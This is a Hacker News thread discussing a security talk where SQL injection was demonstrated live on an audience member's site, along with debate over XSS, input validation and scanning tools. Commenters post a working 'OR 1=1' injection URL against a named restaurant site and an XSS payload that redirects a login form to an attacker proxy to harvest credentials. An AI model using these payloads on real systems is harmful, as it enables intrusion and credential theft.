

A Big Case of Oops - wglb
http://www.communities.hp.com/securitysoftware/blogs/rafal/archive/2010/02/25/a-big-case-of-oops.aspx

======
imajes
Lovely to know they aren't smart enough to check their other urls:

[http://www.mythaichicago.com/menu.asp?locationid=000004%20OR...](http://www.mythaichicago.com/menu.asp?locationid=000004%20OR%201%20=%201)

also, the site was built with dreamweaver. Telltale JS markers. Makes me think
it's a web agency/ad agency type.

EDIT:

these are the people responsible:

<http://www.orangefuse.com/> \- who built www.linusinc.com. I chose another
orangefuse site at random and produced an XSS error and a potential path
disclosure error (i.e. read other things on the server).

~~~
clickguy1
Could you delete that link? I clicked on it out of habit, but tptacek's
comment has me paranoid that my IP is going to end up in an investigation. I'm
guessing other people would prefer to just not have the option to click on it.

~~~
Jeema3000
Eh I think you're ok - if they're tracking visitors that closely, they'd know
that you came to that link from here after it was already made public. Plus
ycombinator.com gets a ton of traffic so I'm sure you're not the only one. :)

But yea, probably not a bad idea to delete that link anyway...

~~~
clickguy1
I don't think it would help my case if they knew the referring site was called
Hacker News.

------
whyleyc
So I did a bit of digging and found the website in question:

<http://www.mythaichicago.com/default.asp>

Looks like they're still experiencing "issues" -
<http://www.mythaichicago.com/order.asp?locationid=000004> reports:

    
    
      "Sorry, On-line ordering is currently undergoing service."
    

No clear indicator who the web design company behind it is though.

~~~
Quarrelsome
How did you dig that one backwards... ? As far as I could tell you only had an
image of the site.....?

~~~
whyleyc
Yep just from images (and Google) - I examined one of the images from the post
at a higher resolution (by clicking on it) and took a look at the map on the
right-hand side.

It was a map of Thailand, so that gave me the type of restaurant. From there
it was just a simple Google query combining that knowledge with the URL
structure revealed in the blog post:

[http://www.google.co.uk/search?q=thai+restaurant+locationid%...](http://www.google.co.uk/search?q=thai+restaurant+locationid%3D000004)

Then it was just a case of working through the list of possibilities (it was
second on that list) :-)

~~~
DougBTX
Good searching. Looks like you've found quite a few more vulnerable sites too.

~~~
dacort
I would wager to say a large majority of .asp sites out there are vulnerable
to these types of issues.

Most were coded before common sanitization and security practices were
observed during dev, not to mention built in to frameworks.

------
jerf
The interview I feel worst about was when we had a "web programmer" coming in,
and he linked his personal website as an example of what he could do. So, I
found an XSS in his login form (first try, first field I tried...), showed it
to him, and asked him what just happened. He did eventually get around to it,
after two other wrong suggestions, but it took him some time.

Arguably, it was a kick-ass interview question, but I still feel sort of bad
about it.

~~~
spoondan
What do you mean you found an XSS "in his login form"?

The things you enter into a login form aren't normally displayed to any other
users. If you mean you can run arbitrary JavaScript in your own browser, there
are much easier ways to do that and you didn't find a vulnerability.

~~~
jerf
He displayed the value you entered as the user as part of the error message
when your login failed, as in "User jerf does not exist." No escaping. Login
form used GET, not POST. (Not that that fixes it, but the querystring is that
much easier to exploit.) Classic XSS.

~~~
cedsav
For it to be a XSS, the javascript has to run in a different context (someone
else browser). I'd say the issue you found is worrisome, but not in itself a
vulnerability.

~~~
jerf
Which rolls us right back around to the point made in the original article,
which is that people just don't believe it's a problem until you damn well
exploit it right in front of them. This can include programmers.

But to spell it out for you: Cross-site scripting includes as a vector the
ability to cause a person to click on a hostile link and cause the resulting
page to do something nasty and unexpected. Suppose I post a link in a forum
that contains
"?username=jerf'><script>document.forms[0].action="htt://hostileproxy.com/userscrape;something_to_hide_login_error()</script><span
x='" and tell someone they have to log in. (I changed http to htt to bypass HN
linkification.) Now their login goes to my proxy instead, which transparently
steals the username and password, and bounces them back to the original site,
leaving the user oblivious.

That's why I mentioned it used GET and not POST; it's somewhat harder to fake
up a post in a forum (though it's not impossible, I've done it), but faking a
"GET" is just a matter of typing the link in. Even if the forum displays the
entire link, some people will click. Not everybody is a programmer.

As for whether this is a real threat, don't even _try_ to tell me this isn't,
because I've _done_ this. I didn't steal any logins or do anything nasty, but
I definitely got far enough to do it if I wanted to. (In fact, same problem: I
tried to report it, and the site owner didn't believe it was a really-
exploitable problem, either. Yeah... it was.) I don't even say this like it's
a point of pride because it was like taking candy from a baby. Just start
sticking ', ", and in the case of textareas, </textarea> in places they don't
belong and you too will rapidly join the ranks of leet hacker.

(For double-bonus points, it is sometimes possible to create HTML content that
will automatically fire Javascript off in a forum; try something like <img
src="does.not.exist.jpg" onerror="window.location='htt://hostile.com'">, just
as one for-instance. Now, use a browser vuln to load your choice of spyware
onto the user's machine. XSS is more important than it seems; in some cases it
can lead to your viewer's machines getting completely owned.)

~~~
blasdel
You can do much better than that onerror exploit if the site supports
arbitrary <img src> attributes, even if they filter everything correctly
otherwise.

In IE6, and older versions of Opera, <img src=target> is identical to <script
src=target> if it sniffs the content of the response from the target to be
javascript. _Really._

------
rm-rf
How history repeats itself.

Years ago I struggled to convince a group of sysadmins that server hardening,
firewalls and patching were essential for any Internet connected system. I
heard things like "there's a million computers on the Internet, why would
anyone bother mine" [unless they wanted to use your server to hack someone
else or store their porn|warez]" and "nobody can port scan the entire
Internet, they'll never find my server" [unless they control an army of
scanners].

I made significant progress by having my group perform live IIS5 directory
traversal & telnet MTIM attacks at a conference of local sysadmins. (yep, this
was a long time ago)

Similarly, today we have a significant number of web developers who don't
think it can happen to them, until it does.

~~~
tptacek
Unfortunately, server hardening, firewalls, and patching wouldn't have
prevented this problem; it's buried in the actual application code.

~~~
rm-rf
I fully understand that. It was intended to be an analogy.

Let me try again.

A decade ago, clueless sysadmins put unpatched servers directly on the
Internet with no firewall protecting ports that didn't need to be exposed,
with no hardening, no patching, etc. An hour later, after their shiny new
server got rooted, the clueless sysadmins stood there with the classic deer-
headlights look, wondering what just happened.

Today, with OS's that have reasonable default configs on as-shipped, and with
firewalls the norm, it's the application developers that are clueless id10t's
standing around with the deer-headlights look.

------
vital101
It's easy to tell someone about security, but actually demonstrating
vulnerabilities really drives the problem home. That said, something as simple
as NOT trusting any input and sanitizing it would solve 90% of these problems.

~~~
by
"Screw input validation, love output normalization."

<http://news.ycombinator.com/item?id=785549>

~~~
generalk
Output normalization: solves various problems like log injection and XSS

Input validation: solves SQL and other injection issues.

If you're not doing both, you're probably vulnerable somewhere. There is no
magic bullet.

~~~
by
Ah, I am classifying a SQL statement as an output that is sent from the
program to the database. Anything you put in the SQL will have to be
normalised.

For example, you might have a name in the database. What if someone is called
O'Beirne? How do we get this into the database? Do we only allow them to have
the name OBeirne?

~~~
generalk
Sure, that's fine.

But what if someone passes you an email address that's really 500 comma-
separated email addresses?

What if someone passes 'admin=true' to your user update URL?

Your output sanitization doesn't do much for those.

~~~
by
You are quite right, you do need to white-list the valid inputs for reasons
other than SQL injection.

I did not explain very clearly. What I was trying to say was that output
normalisation will prevent SQL injection attacks.

I am considering the components of the SQL statement, such as the string
O'Beirne, to be things that have to be normalised before being output to the
database in the SQL statement. This output normalisation, as the other replies
to my post have correctly said, is best done for you by a library. It cannot
be done properly by restricting the inputs, as my O'Beirne example shows, only
by output normalisation of the SQL.

~~~
tptacek
But output normalization will _not_ prevent SQL Injection attacks, so I'm
pretty unclear on what you're trying to say.

I think you're trying to say that content neutralization (turning ' into
&quot;, for instance) stops SQLI. It might or it might not, depending on the
vector (tablespace injection doesn't care about metacharacters, for instance).
It's at least more accurate than saying "if you make sure that the web app
doesn't spit out [!@#$%^&*(){}:"<>?] you're safe".

~~~
by
Maybe the words 'output normalisation' are the point of confusion. I am using
them as in this thread

[http://www.reddit.com/r/programming/comments/86kgp/xss_cross...](http://www.reddit.com/r/programming/comments/86kgp/xss_cross_site_scripting_prevention_cheat_sheet/c08e4tm)

which is the context of my quote of larholm above and is a discussion about
this page

[http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Pr...](http://www.owasp.org/index.php/XSS_\(Cross_Site_Scripting\)_Prevention_Cheat_Sheet)

Perhaps this is not common usage, but within this context I believe I am
correct in saying output normalization is what prevents SQL injection.

larholm goes on to say:

"The lack of output normalization IS the security vulnerability."

"You can either normalize your output for each specific location as you
encounter it, or normalize your input once in advance for all current and
future output locations."

"The former beats the latter, as it is impossible for you to know how the data
will be output in the future."

which also seems correct.

What is "tablespace injection"? I just googled it and there are no references
to it anywhere.

[http://www.google.com/search?q=%22tablespace+injection%22...](http://www.google.com/search?q=%22tablespace+injection%22&hl=en&filter=0)

------
njharman
I've read many instances where this story continues with the room becoming
convinced that the "messenger" hacked the site and calling the police who by
default listen to the guys in suits over the technical expert.

------
cake
Any details on this ? : _"After getting permission to use a tool we here at
the ASC lovingly refer to as the SQL Injector"_

What's the tool ?

~~~
PonyGumbo
I'd love to know this too.

Edit: looks like Webinspect:
[https://h10078.www1.hp.com/cda/hpms/display/main/hpms_conten...](https://h10078.www1.hp.com/cda/hpms/display/main/hpms_content.jsp?zn=bto&cp=1-11-201-200^9570_4000_100__)

~~~
fragmede
WebInspect looks interesting, but for this usage, does it actually offer
anything above Metasploit?

(The marketing copy for it doesn't give much detail, though it does claim you
can use this for hipaa compliance, among other things
<https://h10078.www1.hp.com/cda/hpdc/fetchPDF.do>)

~~~
tptacek
Yes. Metasploit is a delivery vehicle for known exploits, principally for non-
web applications. It's not designed to find new web vulnerabilities.

WebInspect is a web application scanner. It includes a not-very-useful
database of known application vulnerabilities, but also has a well-regarded
fuzzer that generates random scary inputs to every input it finds on a site
that it spiders. That's what Raf is talking about (his job is, in part, to
promote that very expensive tool).

You don't want WebInspect, or AppScan, or any other scanner. If you're a
professional, you want Burp Suite, which costs something like EU120 and does
just as good a job as a fuzzer as WebInspect. If you're a hobbyist, you want
OWASP WebScarab, which is free. Both are Java apps, and will run anywhere Java
does.

------
wheaties
Damn, that's a "well done sir" type of article.

~~~
ballpark
Yeah. He should have titled it "I'm the man"

------
lenni
Funny. This is like shooting fish in a barrel.

What are the chances of getting this SQL injection attack vector served on a
silver plate right when he needed it?

~~~
MrFoof
_What are the chances of getting this SQL injection attack vector served on a
silver plate right when he needed it?_

In my experience? Frighteningly real. You could also ask, _"What are the
chances of finding an application that has quadratic, cubic, or exponential
scaling problems served on a silver plate right when he needed it?"_ , and I'd
also have the same reply - frighteningly real.

The most fun I've had in my days was not only demonstrating such security
holes, but also finding laughably bad scaling issues while I was running amok.
The most frightening thing is, I'm not referring to podunk little companies,
but wholesalers or manufacturers with 9 and 10-digit annual revenues. And not
small internal apps, but their main presence on the web.

Though I'll say, even as a contractor, these gigs are never enjoyable simply
because - despite best trying to avoid it - you've managed to embarrass some
people on an epic scale. Once you've fixed what you've been paid for, most
places don't look to keep you around much longer unless they truly have a
"what's right, not who's right" philosophy.

~~~
chrischen
I decided to try to inject some SQL to a form--I didn't specially seek it out
--and to my surprise it worked. It seems to be really common, especially if
the site looks shoddy and ends with .php.

~~~
larrywright
As much as I abhor PHP, this is less a reflection of the language itself and
much more a reflection of the people who seem to use it most. The low barrier
to entry in getting a website up with PHP results in lots of people who have
no business programming writing websites.

~~~
Niten
Also, where conditions allow, the developers who know better will generally
prefer better languages than PHP--leaving disproportionately more of the
people who _don't_ know better on the PHP side of the fence...

------
sh1mmer
Rasmus built a tool while he was at Y! called Scanmus which doing automated
probing. I've seen him demo it to students while we were giving classes at
universities. It's amazing how eye opening that experience can be.

P.s. no you can't have a copy of Scanmus P.p.s if you are really curious just
Google the name

Disclaimer: I still work for Y! :) and I'm proud of our security guys

P.p.p.s no that wasn't a challenge

~~~
tptacek
If you have enough money to keep a single developer on staff, you have orders
of magnitude more budget than it takes to license a copy of Burp Suite. Burp
is the de facto pen testing industry standard, and it's a fantastic QA tool in
general. If you have a product and you don't know about Burp, you should buy
it pretty much immediately.

------
ggrot
This is certainly embarrassing, but it's becoming really common. I wonder if
there is anything that can be done to really make a dent in this problem
across the web, I don't mean just fixing it on the site that you/I own, but
ways of making it drop dead easy for an owner to spot SQL injection or XSS
issues, or maybe software layers (proxies, browser standards, etc) that make
it harder for a vulnerability to be exploited.

------
dbz
I'll be next time he gives a talk he will already scope out a website so he'll
be prepared to just show them and make them believers.

~~~
wglb
The interesting part of the article is that someone in the audience with a web
site gave him a URL that he had not seen before and he did this exercise real-
time.

------
dailo10
I feel obliged to post the related XKCD comic (Bobby Tables):
<http://xkcd.com/327/>

~~~
ryoshu
I've actually pulled out that comic twice in the last few months -- one time
was last week doing a code review of a custom CMS. The progression on the
developers' faces was something along the lines of: confusion (why are we
looking at a web comic?); amusement (that's pretty funny); horror (our code
has SQL injection problems!).

------
dm_mongodb
a nice side-benefit of nosql databases is this massively underestimated
problem (usually, depends on the product) going away

~~~
chrischen
I'm pretty sure couchdb has a query language which can receive injections. If
you pass JavaScript into mongodb theoretically you could open an injection
problem if you don't use parametrization. But unless your nosql database has a
native API, it still probably is vulnerable to command injection in the same
way SQL databases are. Nothing really special about nosql itself that prevents
this.

~~~
dm_mongodb
you may be right that i've overgeneralized to the other products based on my
experience with mongodb; all i know for sure is mongodb has some nice
properties here.

~~~
chrischen
Yes mongo language drivers do make it harder to open up injection problems,
but php extension like mysqli also provide similar protection. However the
SQL-oriented nature does make it more likely that someone merges uncleaned
input into a command.

